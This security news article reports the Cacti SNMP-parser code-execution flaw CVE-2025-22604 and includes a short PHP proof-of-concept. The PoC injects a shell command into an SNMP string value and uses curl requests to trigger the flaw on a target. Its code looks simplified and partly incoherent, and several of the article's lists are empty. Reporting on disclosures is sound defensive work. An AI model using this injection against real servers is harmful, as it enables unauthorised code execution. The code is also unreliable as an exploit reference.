A critical vulnerability in the Cacti performance monitoring framework tracked as CVE-2025-22604, has been disclosed, with a proof-of-concept (PoC) exploit now publicly available.
This vulnerability allows authenticated users with device management permissions to execute arbitrary code on the server by exploiting a multi-line SNMP result parser flaw.
The vulnerability has been rated as critical with a CVSS score of 10.
The vulnerability resides in how Cacti processes SNMP responses:
Integrating Application Security into Your CI/CD Workflows Using Jenkins & Jira -> Free Webinar
Below is the step-by-step process for exploiting the vulnerability:
As per a report by Github, this sequence exploits the vulnerability by injecting malicious OIDs into SNMP responses, which are then executed on the server.
Code Example
Below is a simplified PoC code snippet that demonstrates how an attacker can exploit this vulnerability:
<?php
// Malicious SNMP agent payload
$payload = '1.3.6.1.4.1.x.x.x = STRING: "; /bin/bash -c \'echo hacked > /tmp/hacked\' ;"';
// Start SNMP agent
exec("snmptrap -v 2c -c public localhost '' $payload");
// Configure Cacti to point to malicious agent
$cacti_url = "http://target-cacti-instance";
$device_id = 1; // Replace with actual device ID
$snmp_port = 161; // Replace with malicious agent's port
// Update device configuration
exec("curl -X POST $cacti_url/device.php -d 'id=$device_id&snmp_port=$snmp_port'");
// Trigger the exploit
exec("curl $cacti_url/graph_realtime.php?device_id=$device_id");
?>
This vulnerability allows attackers to:
To protect against this critical flaw:
The release of a PoC exploit for CVE-2025-22604 underscores the importance of timely patching and secure configurations for network monitoring tools like Cacti.
Organizations using vulnerable versions must act swiftly to mitigate potential risks and protect their systems from exploitation.
Collect Threat Intelligence with TI Lookup to improve your company’s security - Get 50 Free Request
A hacker collective known as R00TK1T claims to have breached TikTok's user database, allegedly leaking…
The Federal Bureau of Investigation (FBI), in partnership with the U.S. Department of State, has…
A newly identified security vulnerability, CVE-2025-22234, has exposed a critical weakness in the widely-used Spring…
Trend Research has uncovered a sophisticated network of cybercrime operations linked to North Korea, heavily…
Microsoft’s recent attempt to resolve a critical privilege escalation vulnerability has inadvertently introduced a new…
Cybersecurity analysts have issued a high-priority warning after several incidents revealed active exploitation of SAP…